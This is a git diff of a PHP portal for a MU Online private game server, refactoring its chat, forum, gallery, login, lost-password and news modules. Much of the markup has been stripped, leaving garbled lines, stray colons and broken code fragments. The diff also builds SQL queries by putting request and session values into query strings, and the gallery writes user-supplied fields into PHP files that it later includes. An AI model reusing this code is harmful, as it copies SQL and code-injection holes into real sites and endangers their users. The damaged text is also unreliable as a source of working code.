:
:
:
:
:
:
Strength:
Agility:
Vitality:
Energy:
Command:
: ()
:
:
:
+ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:
:
:
:
:
:
:
Strength:
Agility:
Vitality:
Energy:
Command:
: ()
:
:
:
+
+ <?php echo char_class($info[1], 'full'); ?> +

+
+ +
+ +
+ +
-
- ";?>

-
- -
-
\ No newline at end of file + $date) { - echo ''; - } - elseif($message != $_SESSION[chat_message]) { - mssql_query("INSERT INTO MMW_chatbox (f_char,f_message,f_date) VALUES ('$char','$message','$date')"); - $_SESSION[chat_message] = $message; - $_SESSION[chat_date] = $date; - } - else { - jump('?op=chat'); - } + if ($timeout > $date) { + echo ''; + } elseif (!isset($_SESSION['chat_message']) || $_SESSION['chat_message'] !== $message) { + mssql_query("INSERT INTO dbo.MMW_chatbox (f_char,f_message,f_date) VALUES ('{$_SESSION['character']}','{$message}','{$date}')"); + $_SESSION['chat_message'] = $message; + $_SESSION['chat_date'] = $date; + } else { + jump('?op=chat'); + } } ?> - - - - - - - - -
- -
- -
- - - - - -

-'; -}?> -
\ No newline at end of file + +
+ +
+ + + + + +

+ + ' . mmw_lang_guest_must_be_logged_on . '
[ ' . mmw_lang_register . ' | ' . mmw_lang_login . ' ]
'; + } ?> + \ No newline at end of file diff --git a/modules/checkacc.php b/modules/checkacc.php index 026fbe7..845354f 100644 --- a/modules/checkacc.php +++ b/modules/checkacc.php @@ -1,38 +1,61 @@ -0 && $row[2]!=0) { - echo $okey_start . mmw_lang_account_must_be_logged_on_for_unblock . $okey_end; - } - elseif($row[0]==1) { - echo $die_start . mmw_lang_account." $login ".mmw_lang_is_blocked; - if($row[1] != 0) {echo "
".mmw_lang_date.": ".date("H:i:s, d.m.Y", $row[1]);} - echo "
".mmw_lang_blocked_by.": $row[3]"; - if($row[1]!=0 && $row[2]!=0) { - - if($time_need<60) {$need_wait = $time_need . ' s.';} - elseif($time_need<3600) {$need_wait = ceil($time_need / 60) . ' m.';} - elseif($time_need<86400) {$need_wait = ceil($time_need / 3600) . ' h.';} - else {$need_wait = ceil($time_need / 86400) . ' d.';} - - echo "
".mmw_lang_unblocked.": " . date("H:i:s, d.m.Y", $row[1] + $row[2]); - echo "
".mmw_lang_need_wait.": $need_wait"; - } - if(!empty($row[4]) && $row[4]!=' ') {echo "
".mmw_lang_reason.": $row[4]";} - echo $die_end; - } - else { - echo $die_start . mmw_lang_account_not_blocked_or_cant_find . $die_end; - } +if ($_GET['w'] === 'online') { + echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; +} elseif ($_GET['w'] === 'block') { + if (isset($_GET['character'])) { + $character = clean_var($_GET['character']); + $account = mssql_fetch_row(mssql_query("SELECT accountid FROM dbo.Character WHERE Name='{$character}'"))[0]; + } else { + $account = clean_var(stripslashes($_GET['n'])); + } + + $accountBlockResult = mssql_query("SELECT bloc_code,block_date,unblock_time,blocked_by,block_reason FROM dbo.MEMB_INFO WHERE memb___id='{$account}'"); + $row = mssql_fetch_row($accountBlockResult); + + if ($row[0] == 1 && !empty($row[1]) && !empty($row[2]) && time() > ($row[1] + $row[2])) { + echo $okey_start . mmw_lang_account_must_be_logged_on_for_unblock . $okey_end; + } elseif ($row[0] == 1) { + if (isset($_GET['character'])) { + echo $die_start . mmw_lang_character . ' ' . $character . ' ' . mmw_lang_is_blocked; + } else { + echo $die_start . mmw_lang_account . ' ' . $account . ' ' . mmw_lang_is_blocked; + } + + if (!empty($row[1])) { + echo '
' . mmw_lang_date . ': ' . date('H:i:s, d.m.Y', $row[1]); + } + + if (!empty($row[1]) && !empty($row[2])) { + if ($row[2] < 60) { + $need_wait = $row[2] . ' s.'; + } elseif ($row[2] < 3600) { + $need_wait = ceil($row[2] / 60) . ' m.'; + } elseif ($row[2] < 86400) { + $need_wait = ceil($row[2] / 3600) . ' h.'; + } else { + $need_wait = ceil($row[2] / 86400) . ' d.'; + } + + echo '
' . mmw_lang_unblocked . ': ' . date('H:i:s, d.m.Y', $row[1] + $row[2]); + echo '
' . mmw_lang_need_wait . ': ' . $need_wait; + } + + if (!empty($row[3])) { + echo '
' . mmw_lang_blocked_by . ': ' . $row[3]; + } + + if (!empty($row[4])) { + echo '
' . mmw_lang_reason . ': ' . $row[4]; + } + echo $die_end; + } else { + echo $die_start . mmw_lang_account_not_blocked_or_cant_find . $die_end; + } } -?> \ No newline at end of file diff --git a/modules/downloads.php b/modules/downloads.php index 25b3809..a605da1 100644 --- a/modules/downloads.php +++ b/modules/downloads.php @@ -1,15 +1,34 @@ - mmw_lang_date, + 'download' => mmw_lang_download, + 'from_here' => mmw_lang_from_here, + 'description' => mmw_lang_description, + 'file_size' => mmw_lang_file_size, +); -for($i=0;$i < mssql_num_rows($get_links);++$i) { -$row = mssql_fetch_row($get_links); +$query = mssql_query("SELECT l_name,l_address,l_description,l_size,l_date FROM dbo.MMW_Links ORDER BY l_date DESC"); +while ($row = mssql_fetch_row($query)) { + $date = date('Y-m-d H:i:s', $row[4]); -echo " - - -
$row[0]".mmw_lang_date.": ".date("Y-m-d H:i:s",$row[4])."
".mmw_lang_download." $row[0] ".mmw_lang_from_here."
".mmw_lang_description.": $row[2]
".mmw_lang_file_size.": $row[3]
$rowbr"; - } -?> + echo << + + {$row[0]} + {$language['date']}: {$date} + + + + {$language['download']} {$row[0]} {$language['from_here']}
+ {$language['description']}: {$row[2]}
{$language['file_size']}: {$row[3]} + + + + {$rowbr} +HTML; +} diff --git a/modules/forum.php b/modules/forum.php index 3f2a1ec..60369f8 100644 --- a/modules/forum.php +++ b/modules/forum.php @@ -1,112 +1,233 @@ -'.mmw_lang_new_topic.'';} -elseif(isset($_SESSION['pass']) && isset($_SESSION['user'])) {$new_topic = mmw_lang_cant_add_no_char;} -else {$new_topic = mmw_lang_guest_must_be_logged_on;} -?> -
[ ]
- - - - - - - - - - $value) { - $result = mssql_query("SELECT count(f_id),sum(f_comments) FROM MMW_forum WHERE f_catalog='$key'"); - $row = mssql_fetch_row($result); - if(empty($row[1])) {$row[1] = 0;} - - $forum_img = 'c_nonew.gif'; - if($row[0] > 0) { - $post_row = mssql_fetch_row( mssql_query("SELECT TOP 1 f_id,f_title,f_date,f_lastchar FROM MMW_forum WHERE f_catalog='$key' ORDER BY f_date DESC") ); - $lastchar_row = mssql_fetch_row( mssql_query("Select CtlCode From Character WHERE name='$post_row[3]'") ); - $last_forum = "".date("D, d.m.Y, H:i", $post_row[2])."
"; - $last_forum .= mmw_lang_topic.": $post_row[1]
"; - $last_forum .= mmw_lang_message_from.": $post_row[3]"; - if($post_row[2]+$mmw[forum_of_new] > time()) {$forum_img = 'c_new.gif';} - } - else { - $last_forum = mmw_lang_no_message; - } -?> - - - - - - - - -

-' . $date . '
' + . mmw_lang_topic . ': ' . $postName . '
' + . mmw_lang_message_from . ': ' . $characterName . ''; +} + +function drawOptionButton($id, $type, $label, $action = '') +{ + $icon = default_img($type . '.png'); + return << + + {$type} + +HTML; +} + +if (isset($_POST['f_id_delete'])) { + $f_id = clean_var(stripslashes($_POST['f_id_delete'])); + $result = mssql_query("SELECT f_char FROM dbo.MMW_forum WHERE f_id='{$f_id}'"); + $row = mssql_fetch_row($result); + + if (empty($f_id)) { + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif ($row[0] === $_SESSION['character'] || $mmw['status_rules'][$_SESSION['mmw_status']]['forum_delete']) { + mssql_query("DELETE FROM dbo.MMW_forum WHERE f_id='{$f_id}'"); + mssql_query("DELETE FROM dbo.MMW_comment WHERE c_id_code='{$f_id}'"); + echo $okey_start . mmw_lang_topic_deleted . $okey_end; + } else { + echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; + } +} + +if (isset($_POST['f_id_close']) || isset($_POST['f_id_open'])) { + $f_id = clean_var(stripslashes(isset($_POST['f_id_close']) ? $_POST['f_id_close'] : $_POST['f_id_open'])); + $f_status = $_POST['f_id_close'] ? 1 : 0; + + if (empty($f_id)) { + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif ($mmw['status_rules'][$_SESSION['mmw_status']]['forum_status']) { + mssql_query("UPDATE dbo.MMW_forum SET f_status='{$f_status}' where f_id='{$f_id}'"); + echo $okey_start . mmw_lang_topic_status . $okey_end; + } else { + echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; + } +} + +if (isset($_SESSION['user']) && !empty($_SESSION['character'])) { + $new_topic = '' . mmw_lang_new_topic . ''; +} elseif (isset($_SESSION['user'])) { + $new_topic = mmw_lang_cant_add_no_char; +} else { + $new_topic = mmw_lang_guest_must_be_logged_on; +} + +$language = array( + 'new_message' => mmw_lang_new_message +); + +echo << + [ {$language['new_message']} • {$new_topic} ] + +HTML; + +if (empty($_GET['c'])) { + ?> + + + + + + + + + + + $value) { + $result = mssql_query("SELECT count(f_id), sum(f_comments) FROM dbo.MMW_forum WHERE f_catalog='{$key}'"); + $row = mssql_fetch_row($result); + + $forum_img = 'c_nonew.gif'; + $last_forum = mmw_lang_no_message; + + if (!empty($row[0])) { + $post_row = mssql_fetch_row(mssql_query("SELECT TOP 1 + f.f_id, + f.f_title, + f.f_date, + f.f_lastchar, + c.CtlCode + FROM dbo.MMW_forum AS f + LEFT JOIN dbo.Character AS c ON c.Name COLLATE DATABASE_DEFAULT = f.f_lastchar COLLATE DATABASE_DEFAULT + WHERE f.f_catalog = {$key} + ORDER BY f.f_date DESC")); + if ($post_row[2] > strtotime('-' . $mmw['forum_of_new'])) { + $forum_img = 'c_new.gif'; + } + $last_forum = drawLastComment($post_row[0], $post_row[1], $post_row[2], $post_row[3], $post_row[4]); + } + + if (empty($row[1])) { + $row[1] = 0; + } + ?> + + + + + + + + +
+
+ +
+ " . strtotime('-' . $mmw['forum_of_new']) + : "f.f_catalog = " . intval($_GET['c']); + ?> + + + + + + + + + + + + = $mmw['forum_topic_hot'] ? 'hot' : 'norm') + . '_' + . ($row[4] > strtotime('-' . $mmw['forum_of_new']) ? 'new' : 'nonew') + . '.gif'; + if ($row[6] == 1) { + $topic_img = 'f_closed_nonew.gif'; + } + + if (empty($row[7])) { + $row[7] = 0; + } + if (empty($row[8])) { + $row[8] = 0; + } + + $option = ''; + if ($mmw['status_rules'][$_SESSION['mmw_status']]['forum_delete'] || $_SESSION['character'] === $row[1]) { + $option .= drawOptionButton($row[0], 'delete', mmw_lang_delete); + } + if ($mmw['status_rules'][$_SESSION['mmw_status']]['forum_status']) { + $option .= !empty($row[6]) + ? drawOptionButton($row[0], 'open', mmw_lang_open) + : drawOptionButton($row[0], 'close', mmw_lang_close); + } + ?> + + + + + + + + + '; + } + ?> +
+ + + + + +
' . mmw_lang_no_topics_in_forum . '
+ '".(time()-$mmw[forum_of_new])."'";} - else {$sort = "f_catalog='".preg_replace("/[^0-9]/",'',$_GET[c])."'";} -?> - - - - - - - - - -".date("D, d.m.Y, H:i", $row[4])."
"; - $last_forum .= mmw_lang_message_from.": $row[5]"; - - if($row[7]>=$mmw[forum_topic_hot]) {$topic_img = 'f_hot_nonew.gif';} - if($row[4]+$mmw[forum_of_new] > time()) {$topic_img = 'f_norm_new.gif';} - if($row[4]+$mmw[forum_of_new] > time() && $row[7]>=$mmw[forum_topic_hot]) {$topic_img = 'f_hot_new.gif';} - if($row[6] == 1) {$topic_img = 'f_closed_nonew.gif';} - - $option = ''; - if($mmw[status_rules][$_SESSION[mmw_status]][forum_delete]==1 || $_SESSION['char_set'] == $row[1]) - {$option.=" ";} - if($mmw[status_rules][$_SESSION[mmw_status]][forum_status] == 1 && $row[6] == 1) - {$option.=" ";} - if($mmw[status_rules][$_SESSION[mmw_status]][forum_status] == 1 && $row[6] == 0) - {$option.=" ";} -?> - - - - - - - - -";} -?> -
".mmw_lang_no_topics_in_forum."
- \ No newline at end of file +echo $rowbr . mmw_lang_total_topic . ': ' . $totalRow[0] . '   ' . mmw_lang_total_comment . ': ' . $totalRow[1]; diff --git a/modules/forum_full.php b/modules/forum_full.php index 40cb631..60c9d44 100644 --- a/modules/forum_full.php +++ b/modules/forum_full.php @@ -1,96 +1,183 @@ -'.mmw_lang_new_topic.'';} -elseif(isset($_SESSION['pass']) && isset($_SESSION['user'])) {$new_topic = mmw_lang_cant_add_no_char;} -else {$new_topic = mmw_lang_guest_must_be_logged_on;} -?> -
[ ]
- $value) { - if($value[2]==0 || $mmw[status_rules][$_SESSION[mmw_status]][forum_add]==1) - {$forum_catalog .= "";} - } -?> -
- - - - - - - - - - - - - - - - - - - - -
:
:'>
:[br] - [hr] - [b][/b] - [i][/i] - [u][/u] - [s][/s] - [o][/o]
[sup][/sup] - [sub][/sub] - - [c].::.[/c] - [l]::..[/l] - [r]..::[/r]
[color=#][/color] - [size=#][/size] - [url=#][/url]
[img]#[/img] - [video]YouTube.com #[/video] -
:
+ + + {$type}
-' . mmw_lang_new_topic . ''; +} elseif (isset($_SESSION['user'])) { + $new_topic = mmw_lang_cant_add_no_char; +} else { + $new_topic = mmw_lang_guest_must_be_logged_on; +} - if(!empty($row_acc[2]) && $row_acc[2]!=' ') {$avatar_c_e="$row[1]";} - else {$avatar_c_e="No ";} +$language = array( + 'new_message' => mmw_lang_new_message +); - $option = ''; - if($mmw[status_rules][$_SESSION[mmw_status]][forum_delete]==1 || $_SESSION['char_set'] == $row[1]) - {$option.="
";} - if($mmw[status_rules][$_SESSION[mmw_status]][forum_status] == 1 && $row[6] == 1) - {$option.="
";} - if($mmw[status_rules][$_SESSION[mmw_status]][forum_status] == 1 && $row[6] == 0) - {$option.="
";} +echo << + [ {$language['new_message']} • {$new_topic} ] + +HTML; - if($row[8]>=$mmw[forum_topic_hot]) {$topic_img = 'f_hot_nonew.gif';} - if($row[4]+$mmw[forum_of_new] > time()) {$topic_img = 'f_norm_new.gif';} - if($row[4]+$mmw[forum_of_new] > time() && $row[8]>=$mmw[forum_topic_hot]) {$topic_img = 'f_hot_new.gif';} - if($row[6] == 1) {$topic_img = 'f_closed_nonew.gif';} -?> - - - - - -

:
()
- 0) {$lastcomment_row = mssql_fetch_row($lastcomment_result); $comment_info = "[f_date]='$lastcomment_row[1]',[f_lastchar]='$lastcomment_row[0]',";} - else {$comment_info = "[f_date]='$row[7]',[f_lastchar]='$row[1]',";} - if($row[8] < 1) {$new_views = 1;} else {$new_views = "f_views+1";} - mssql_query("UPDATE MMW_forum SET $comment_info [f_views]=$new_views,[f_comments]=$comm_num WHERE f_id='$c_id_code'"); - } -} -elseif(isset($_SESSION['pass']) && isset($_SESSION['user'])) { - echo "$die_start Sorry, you can't add comment, need Character! $die_end"; -} -else { - echo "$die_start Error! by Vaflan ;) $die_end"; -} -?> \ No newline at end of file + $forum_catalog = ''; + foreach ($mmw['forum_catalog'] as $key => $value) { + if ($value[2] == 0 || $mmw['status_rules'][$_SESSION['mmw_status']]['forum_add']) { + $forum_catalog .= ''; + } + } + ?> +
+ + + + + + + + + + + + + + + + + + + + +
:
: + '> +
: + [br] - [hr] - [b][/b] - [i][/i] - [u][/u] - [s][/s] - + [o][/o]
[sup][/sup] - [sub][/sub] + - + [c].::.[/c] - [l]::..[/l] - [r]..::[/r]
[color=#][/color] - + [size=#][/size] - [url=#][/url]
[img]#[/img] - [video]YouTube.com #[/video] +
:
+ + +
+
+ = $mmw['forum_topic_hot'] ? 'hot' : 'norm') + . '_' + . ($row[4] > strtotime('-' . $mmw['forum_of_new']) ? 'new' : 'nonew') + . '.gif'; + if ($row[6] == 1) { + $topic_img = 'f_closed_nonew.gif'; + } + + $avatar = !empty($row[11]) + ? '' . $row[1] . '' + : 'No avatar'; + $country = country($row[12]); + $gender = gender($row[13]); + + $option = ''; + if ($mmw['status_rules'][$_SESSION['mmw_status']]['forum_delete'] || $_SESSION['character'] === $row[1]) { + $option .= drawOptionButton($row[0], 'delete', mmw_lang_delete, '?op=forum&c=' . $row[9]); + } + if ($mmw['status_rules'][$_SESSION['mmw_status']]['forum_status']) { + $option .= !empty($row[6]) + ? drawOptionButton($row[0], 'open', mmw_lang_open, '?op=forum&c=' . $row[9]) + : drawOptionButton($row[0], 'close', mmw_lang_close, '?op=forum&c=' . $row[9]); + } + ?> + + + + + +
+
+ : + +
+ :
+ :
+
+ + + () + +
+
+ ".mmw_lang_upload_image."";} -elseif(isset($_SESSION['pass']) && isset($_SESSION['user'])) {$upload_acc_check = mmw_lang_cant_add_no_char;} -else {$upload_acc_check = mmw_lang_guest_must_be_logged_on;} -function byteConvert($bytes) { +' . mmw_lang_upload_image . ''; +} elseif (isset($_SESSION['user'])) { + $upload_acc_check = mmw_lang_cant_add_no_char; +} else { + $upload_acc_check = mmw_lang_guest_must_be_logged_on; } // Delete Image -if(isset($_POST['id_delete'])) { - $file_name = preg_replace("/[^a-zA-Z0-9_-]/",'',$_POST['id_delete']); - unset($author); - if(is_file($dir.$file_name.'.dat')) { - include($dir.$file_name.'.dat'); - if($mmw[status_rules][$_SESSION[mmw_status]][image_delete]==1 || $_SESSION['char_set'] == $author) { - unlink($dir."$file_name.$format"); - unlink($dir."small_$file_name.$format"); - unlink($dir.$file_name.".dat"); - mssql_query("DELETE FROM MMW_comment WHERE c_id_code='$file_name'"); - echo $okey_start . mmw_lang_image_deleted . $okey_end; - writelog("gallery","Image $file_name Has Been Deleted"); +if (isset($_POST['id_delete'])) { + $file_name = preg_replace('/[^\w_-]/', '', $_POST['id_delete']); + $dataFile = __DIR__ . '/../' . $dir . $file_name . '.php'; + if (is_file($dataFile)) { + unset($author); + include $dataFile; + /** @var string $author */ + /** @var string $format */ + if ($mmw['status_rules'][$_SESSION['mmw_status']]['image_delete'] || $_SESSION['character'] === $author) { + unlink($dir . $file_name . '.' . $format); + unlink($dir . 'small_' . $file_name . '.' . $format); + unlink($dataFile); + mssql_query("DELETE FROM dbo.MMW_comment WHERE c_id_code='{$file_name}'"); + echo $okey_start . mmw_lang_image_deleted . $okey_end; + writelog('gallery', 'Image ' . $file_name . ' Has Been Deleted'); + } + } else { + echo $die_start . mmw_lang_left_blank . $die_end; } - } - else { - echo $die_start . mmw_lang_left_blank . $die_end; - } - echo $rowbr; + echo $rowbr; } // Add Image -if($_GET[w]=='add' && isset($_SESSION['char_set'])) { - if(isset($_FILES['image'])) { - if(is_file($dir.$mmw[rand_id].'.dat')) { - echo $die_start . mmw_lang_image_exists . $die_end; - } - else { - $file_name = basename($_FILES['image']['name']); - $file_size = $_FILES['image']['size']; - $file_format = strtolower(substr($file_name, -3)); - $file_maxsize = "2000000"; - $target = $dir.$mmw[rand_id].".$file_format"; - - if(empty($_FILES['image']) || empty($_POST[name]) || empty($_POST[comment])) { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif($file_size > $file_maxsize) { - echo $die_start . mmw_lang_file_size_max . $die_end; - } - elseif($file_format!='jpg' && $file_format!='png' && $file_format!='gif') { - echo $die_start . mmw_lang_image_no_image . $die_end; - } - elseif(move_uploaded_file($_FILES['image']['tmp_name'],$target)) { - $name = bugsend(stripslashes($_POST[name])); - $comment = bugsend(stripslashes($_POST[comment])); - $author = stripslashes($_SESSION['char_set']); - $date = time(); - $image_size = getimagesize($target); - - $data = ""; - $fp = fopen($dir.$mmw[rand_id].".dat", 'w'); - fputs($fp, $data); - fclose($fp); - echo $okey_start . mmw_lang_image_uploaded . $okey_end; - writelog("gallery","Image $mmw[rand_id] Has Been Added"); +if (isset($_GET['w']) && $_GET['w'] === 'add' && !empty($_SESSION['character'])) { + if (isset($_FILES['image'])) { + if (is_file($dir . $mmw['rand_id'] . '.php')) { + echo $die_start . mmw_lang_image_exists . $die_end; + } else { + $file_name = basename($_FILES['image']['name']); + $file_size = $_FILES['image']['size']; + $file_format = strtolower(substr($file_name, -3)); + $file_maxsize = '2000000'; + $target = $dir . $mmw['rand_id'] . '.' . $file_format; + + if (empty($_FILES['image']) || empty($_POST['name']) || empty($_POST['comment'])) { + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif ($file_size > $file_maxsize) { + echo $die_start . mmw_lang_file_size_max . $die_end; + } elseif (!in_array($file_format, array('jpg', 'png', 'gif'))) { + echo $die_start . mmw_lang_image_no_image . $die_end; + } elseif (move_uploaded_file($_FILES['image']['tmp_name'], $target)) { + $name = bugsend(stripslashes($_POST['name'])); + $comment = bugsend(stripslashes($_POST['comment'])); + $author = $_SESSION['character']; + $image_size = getimagesize($target); + $date = time(); + + $data = "' . $mmw['rand_id'] . ' Has Been Added'); + } else { + echo $die_start . 'Total error!' . $die_end; + } + } + echo $rowbr; } - else { - echo "$die_start Total ErroR! $die_end"; + ?> +
+ + + + + + + + + + + + + + + + + +
:
: + +
: + +
: + + +
+
+ '; + } + ?> +
+ [ ] +
+
+ +
+ + + + +
+ "> + <?php echo $name; ?> + +
+ +
+ + | " . date('d.m.Y', $date) . ''; ?> + | $author"; ?> +
+ -
- - - - - - - - - - - - - - - - - -
:
:
:
:
-
-";} - else {$edit = '';} -?> - - - - -
[ ]
-
-
- - - -
- -
".date('d.m.Y',$date);?> | $author";?>
- 120) { - $sizeh = 120; - $sizew = $width * $sizeh / $height; +if (!isset($_GET['w']) && $dh = opendir($dir)) { + $num = 0; + $file_list = ''; + $char_info = array(); + while (($file = readdir($dh)) !== false) { + $format = substr($file, -3); + if ($format === 'php') { + $num++; + $file_name = substr($file, 0, -4); + include $dir . $file_name . '.php'; + $url = $dir . $file_name . '.' . $format; + $smallUrl = $dir . 'small_' . $file_name . '.' . $format; + + if (!is_file($smallUrl)) { + img_resize($url, $flash_body_size, $flash_body_size, $dir, 'small_' . $file_name . '.' . $format); + } + $image_size = getimagesize($smallUrl); + + $sizeW = $image_size[0]; + $sizeH = $image_size[1]; + + if ($sizeH > 120) { + $sizeH = 120; + $sizeW = $width * $sizeH / $height; + } + if ($sizeW > 160) { + $sizeW = 160; + $sizeH = $height * $sizeW / $width; + } + + if (empty($char_info[$author][0])) { + $result_char = mssql_query("SELECT CtlCode FROM dbo.Character WHERE Name='{$author}'"); + $char_info[$author] = mssql_fetch_row($result_char); + } + + $edit = ''; + if ($mmw['status_rules'][$_SESSION['mmw_status']]['image_delete'] || $_SESSION['character'] === $author) { + $edit .= '
'; + } + + $file_list .= ' + + + + +
+ + ' . $name . ' + + + ' . $name . ' ' . $edit . '
+ ' . mmw_lang_author . ': ' . $author . '
+ ' . mmw_lang_image_comment . ': ' . $comment . '
+ ' . mmw_lang_date . ': ' . date('d.m.Y H:i:s', $date) . '
+ ' . mmw_lang_image_size . ': ' . $width . 'x' . $height . '
+ ' . mmw_lang_file_size . ': ' . byteConvert($size) . ' +
' . PHP_EOL . $rowbr; } - if($sizew > 160) { - $sizew = 160; - $sizeh = $height * $sizew / $width; - } - - if(empty($char_info[$author][0])) { - $result_char = mssql_query("SELECT CtlCode FROM Character WHERE Name='$author'"); - $char_info[$author] = mssql_fetch_row($result_char); - } - - if($mmw[status_rules][$_SESSION[mmw_status]][image_delete]==1 || $_SESSION['char_set'] == $author) - {$edit = "
";} - else {$edit = '';} - - $file_list = $file_list . " - - -
- $name $edit
".mmw_lang_author.": $author
".mmw_lang_image_comment.": $comment
".mmw_lang_date.": ".date('d.m.Y H:i:s',$date)."
".mmw_lang_image_size.": $width".'x'."$height
".mmw_lang_file_size.": ".byteConvert($size)."
\n " . $rowbr; - } - } - closedir($dh); - - if(!isset($_GET[w])) { -?> - - - - - -
: [ ]
- \ No newline at end of file + } + closedir($dh); + + ?> +
+ [ ] + : +
+ -
- - - - - - - - - - - - - - - - - - - - - - - -
:
:
:
:
:
+ + + + + + + + + + + + + + + + + + + + + + + + +
+ Mark + :
:
: + +
:
: + +
- + - - - - - - - - - - + + + + + + + + + + + + ' + : ''; + $class = char_class($row[2]); + $position = guild_status($row[1]); - $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$character_show[3]'"); - $status = mssql_fetch_row($status_reults); - $statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$character_show[3]'"); - $statusdc = mssql_fetch_row($statusdc_reults); - - if($status[0] == 1 && $statusdc[0] == $row[0]) - {$status[0] ='';} - else {$status[0] ='';} - - $rank = $i+1; -echo " - - - - - - -"; -} -?> + echo << + + + + + + + +HTML; + $rank++; + } + ?> +
#
#
$rank$status[0] $row[0]$character_show[1]$character_show[0]".char_class($character_show[2],off)."".guild_status($row[1])."
{$rank}{$status} {$row[0]}{$row[4]}{$row[3]}{$class}{$position}
\ No newline at end of file diff --git a/modules/info.html b/modules/info.html new file mode 100644 index 0000000..b2f26a2 --- /dev/null +++ b/modules/info.html @@ -0,0 +1,76 @@ +
:: Server Information ::
+ +
+ +
+ Your Info About Server, This is MMW - MyMuWeb by Vaflan.
+ This text can edit in modules.
+ Visit: http://mmw.clan.su

+
+ + + + + + + + + + + + +
+
+ Version: 1.02k
+ Bless Bug: On
+ Level Points: 5-6/7
+ Max level: 400lvl
+ Max Stats: 64000
+ Guild Creation: 200lvl
+ Character deleta: < 200lvl
+ [POST]: > 200lvl (/post)
+ Extra Ware House: ~ (no MAX Zen)
+
+
+
+ Administrator
+ Name
+
+ Game Master
+ Name
+
+
+ +

+ +
:: System Requirements ::
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Sys.MinimumRecommended
CPUPentium III - 800 MhzPentium IV - 1800 Mhz
RAM128 MB512 MB
SO/OSWin9xWin2000/XP
Video64MBDirectX 8.1a
\ No newline at end of file diff --git a/modules/info.php b/modules/info.php deleted file mode 100644 index af6ef94..0000000 --- a/modules/info.php +++ /dev/null @@ -1,68 +0,0 @@ -
:: Server Information ::
- - - -
-Your Info About Server, This is MMW - MyMuWeb by Vaflan.
-This text can edit in modules/info.php.
-Visit: http://mmw.clan.su

-
- - - - - - -

-Version: 1.02k
-Bless Bug: On
-Level Points: 5-6/7
-Max level: 400lvl
-Max Stats: 64000
-Guild Creation: 200lvl
-Character deleta: < 200lvl
-[POST]: > 200lvl (/post)
-Extra Ware House: ~ (no MAX Zen)
-
-
- -
Administrator
-Name
-
Game Master
-Name
-
-
- -
- -
:: System Requirements ::
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sys.MinimumRecommended
CPUPentium III - 800 MhzPentium IV - 1800 Mhz
RAM128 MB512 MB
SO/OSWin9xWin2000/XP
Video64MBDirectX 8.1a
\ No newline at end of file diff --git a/modules/login.php b/modules/login.php index c5785ab..6ff979d 100644 --- a/modules/login.php +++ b/modules/login.php @@ -1,23 +1,39 @@ - -
- - - - - - - - - - - - -
+ + + + + + + + + + + + + +
+ +
+ +
+ + +
-
- :: -
\ No newline at end of file +
+ :: + +
\ No newline at end of file diff --git a/modules/lostpass.php b/modules/lostpass.php index 0a7e9ee..2db1b89 100644 --- a/modules/lostpass.php +++ b/modules/lostpass.php @@ -1,81 +1,94 @@ - $account, + 'email' => $email, + ); + $quest = $account_check[1]; + } else { + $step = null; echo $die_start . mmw_lang_account_or_email_address_is_incorrect . $die_end . $rowbr; } - } -elseif($_GET["step"]=="2") - { - $login = clean_var(stripslashes($_POST['username'])); - $email = clean_var(stripslashes($_POST['email'])); - $quest = clean_var(stripslashes($_POST['quest'])); - $answer = clean_var(stripslashes($_POST['answer'])); - $username_check = mssql_query("SELECT fpas_answ FROM MEMB_INFO WHERE fpas_ques='$quest' and memb___id='$login'"); - $username_check = mssql_fetch_row($username_check); - if($username_check[0]==$answer) {$step = "2";} - else { - $step = ""; +} elseif ($step === 2) { + $account = $_SESSION['last_password']['account']; + $email = $_SESSION['last_password']['email']; + $answer = clean_var($_POST['answer']); + $account_check = mssql_fetch_row(mssql_query("SELECT fpas_answ, memb__pwd FROM dbo.MEMB_INFO WHERE mail_addr='{$email}' and memb___id='{$account}'")); + if ($account_check[0] !== $answer) { + $step = null; echo $die_start . mmw_lang_secret_answer_is_incorrect . $die_end . $rowbr; } - } -?> +} - -
- - - - - - - - - - - - -
-
- + +switch($step) { + case 1: +?>
- - - - - - - - - - - - - - - -
+ + + + + + + + + + + + +
+ + +
- +
+ + + + + + + + + + + + +
+ + +
+
+ \ No newline at end of file diff --git a/modules/news.php b/modules/news.php index 902dff4..ad530aa 100644 --- a/modules/news.php +++ b/modules/news.php @@ -1,59 +1,101 @@ -= $from) { - if($row[5]!=' ' && $row[5]!=NULL && $mmw[long_news_txt]!=0) {$news_row_1 = $mmw[news_row_1].substr($row[5],0,$mmw[long_news_txt])." ...";} - elseif($row[5]!=' ' && $row[5]!=NULL && $mmw[long_news_txt]==0) {$news_row_1 = $mmw[news_row_1].$row[5];} - else {$news_row_1 = '';} - if($row[6]!=' ' && $row[6]!=NULL && $mmw[long_news_txt]!=0) {$news_row_2 = $mmw[news_row_2].substr($row[6],0,$mmw[long_news_txt])." ...";} - elseif($row[6]!=' ' && $row[6]!=NULL && $mmw[long_news_txt]==0) {$news_row_2 = $mmw[news_row_2].$row[6];} - else {$news_row_2 = '';} - if($row[7]!=' ' && $row[7]!=NULL && $mmw[long_news_txt]!=0) {$news_row_3 = $mmw[news_row_3].substr($row[7],0,$mmw[long_news_txt])." ...";} - elseif($row[7]!=' ' && $row[7]!=NULL && $mmw[long_news_txt]==0) {$news_row_3 = $mmw[news_row_3].$row[7];} - else {$news_row_3 = '';} - $comm_result = mssql_query("SELECT c_id FROM MMW_comment WHERE c_id_blog='1' AND c_id_code='$row[4]'"); - $comm_num = mssql_num_rows($comm_result); - $date = date("d.m.Y", $row[3]); - $time = date("H:i:s", $row[3]); - - echo ' - -
- -
'.bbcode($news_row_1.$news_row_2.$news_row_3).'
-
'.mmw_lang_category.': '.$row[2].' | '.mmw_lang_author.': '.$row[1].' | '.mmw_lang_date.': '.$date.' | '.mmw_lang_total_comment.': '.$comm_num.'
-
